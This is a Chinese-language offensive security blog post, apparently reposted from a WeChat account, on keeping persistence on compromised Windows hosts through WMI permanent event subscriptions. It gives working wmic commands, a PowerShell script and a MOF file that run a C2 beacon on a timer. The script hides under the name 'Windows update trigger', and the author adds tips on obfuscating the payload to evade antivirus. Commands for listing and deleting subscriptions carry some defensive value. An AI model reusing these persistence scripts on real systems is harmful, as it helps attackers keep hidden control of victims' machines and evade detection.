WMI利用(权限维持)

admin 2022年3月15日13:28:26评论57 views字数 3679阅读12分15秒阅读模式

WMI利用(权限维持)
WMI利用

(权限维持)


WMI利用(权限维持)

 讲在前面

作者:pingpig@深蓝攻防实验室

    在简单了解了WMI后,我们开始了横向移动,包括其中的信息收集,工具利用。那么在我们短暂的获取权限后,如何才能将权限持久化,也就是所说的权限维持住呢?笔者看了国内外部分文章后,发现WMI做权限维持主要是介绍WMI事件,并将其分为永久事件和临时事件,本文参考部分博客文章对WMI事件进行讲解,不足之处,望及时指出。


相关文章:WMI讲解(是什么,做什么,为什么)

                  WMI利用(横向移动)


WMI利用(权限维持)

什么是WMI事件


    WMI事件,即特定对象的属性发生改变时发出的通知,其中包括增加、修改、删除三种类型。可以使用wmic来进行操作。通俗的可以说:WMI内部出现什么变化就由WMI事件来进行通知。
WMI事件中的事件消费者可以分为临时和永久两类,临时的事件消费者只在其运行期间关心特定事件并进行处理,永久消费者作为类的实例注册在WMI命名空间中,一直有效到它被注销。所以在权限维持中一般我们使用WMI永久事件来进行。
对于WMI事件的官方解释以及部分博客解释:

· WMI事件通知

· 接收WMI事件


查询事件

列出事件过滤器

Get-WMIObject -Namespace rootSubscription -Class __EventFilter

WMI利用(权限维持)

列出事件消费者

Get-WMIObject -Namespace rootSubscription -Class __EventConsumer

WMI利用(权限维持)

列出事件绑定

Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding


删除事件

删除事件过滤器

Get-WMIObject -Namespace rootSubscription -Class __EventFilter -Filter "Name='事件过滤器名'" | Remove-WmiObject -Verbose

WMI利用(权限维持)

删除事件消费者

Get-WMIObject -Namespace rootSubscription -Class CommandLineEventConsumer -Filter "Name='事件消费者名'" | Remove-WmiObject -Verbose

WMI利用(权限维持)

删除事件绑定

Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%事件绑定名%'" | Remove-WmiObject -Verbose

WMI利用(权限维持)

WMI利用(权限维持)

WMI永久事件


注意:没有指定时间轮询则需要机器重启才可以进行WMI轮询,需要注意的一点是,WMI可以任意指定触发条件,例如用户退出,某个程序创建,结束等等。


wmic添加永久事件

注册一个 WMI 事件过滤器

wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="BugSecFilter", EventNamespace = "rootcimv2", QueryLanguage="WQL", Query="SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'BugSecFilter'"

注册一个 WMI 事件消费者

wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE Name="BugSecConsumer", CommandLineTemplate="cmd.exe /c  c:beacon.exe"

将事件消费者绑定到事件过滤器

wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE Filter='\.rootsubscription:__EventFilter.Name="BugSecFilter"', Consumer='\.rootsubscription:CommandLineEventConsumer.Name="BugSecConsumer"'

Powershell添加永久事件

注意:可以考虑添加Powershell的时间间隔器,需要上线至C2则将Payload替换成C2的exe或者dll或者ps1即可。

注意:需要修改一下参数

IntervalBetweenEvents ###修改间隔时间,以毫秒为单位。$EventFilterArgs 中的 Name ###修改筛选器名称。Query ###修改其中WQL语句,以下脚本中可不用修改,但TimerID需和$TimerArgs中的参数匹配。$FinalPayload ###修改Payload,可以指定执行Powershell,或者cmd或者其他命令。$CommandLineConsumerArgs 中的 Name ###修改消费者名称。
$TimerArgs = @{ IntervalBetweenEvents = ([UInt32] 2000) # 30 min SkipIfPassed = $False TimerId ="Trigger" };
$EventFilterArgs = @{EventNamespace = 'root/cimv2'Name = "Windows update trigger"Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'Trigger'"QueryLanguage = 'WQL' };$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs;$FinalPayload = 'cmd.exe /c c:beacon.exe'$CommandLineConsumerArgs = @{ Name = "Windows update consumer" CommandLineTemplate = $FinalPayload};
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs;
$FilterToConsumerArgs = @{ Filter = $Filter Consumer = $Consumer};
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs;


注意:上述脚本出现的WQL语句,也可以指定WITHIN来指定间隔时间,以秒为单位,但是需提前指定TimerID,可以自行修改PS1脚本进行完善,将添加后门、删除后门的操作集成到一个脚本内完成,同时免杀的操作可以针对性的进行混淆或编码的操作。

SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'Trigger'

线C2

注意:将上述Powershell脚本替换其执行的Payload进行本地执行,另存为ps1格式并修改其轮询的时间。若想做成远程下载格式,则需要将Powershell做好免杀的操作。


运行ps1脚本后成功上线

WMI利用(权限维持)

Mof文件添加事件

注意:笔者在测试Mof文件添加事件时,编译后的确能够正常添加事件,但是未能执行指定命令。

#PRAGMA NAMESPACE ("\\.\root\subscription")instance of CommandLineEventConsumer as $Cons{    Name = "test1comsumer";    RunInteractively=false;    CommandLineTemplate="cmd.exe /c c:beacon.exe";};
instance of __EventFilter as $Filt{ Name = "test1filter"; EventNamespace = "root\cimv2"; Query ="SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'test1filter'"; QueryLanguage = "WQL";};
instance of __FilterToConsumerBinding{ Filter = $Filt; Consumer = $Cons;};


编译

mofcomp.exe wmi.mof

WMI利用(权限维持)

事件添加成功

WMI利用(权限维持)


WMI利用(权限维持)


参考:https://github.com/AxelPotato/WMI


如果想跟我一起讨论,那快加入我的知识星球吧!https://t.zsxq.com/7MnIAM7


WMI利用(权限维持)

本文始发于微信公众号(谢公子学安全):WMI利用(权限维持)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日13:28:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WMI利用(权限维持)https://cn-sec.com/archives/494605.html

发表评论

匿名网友 填写信息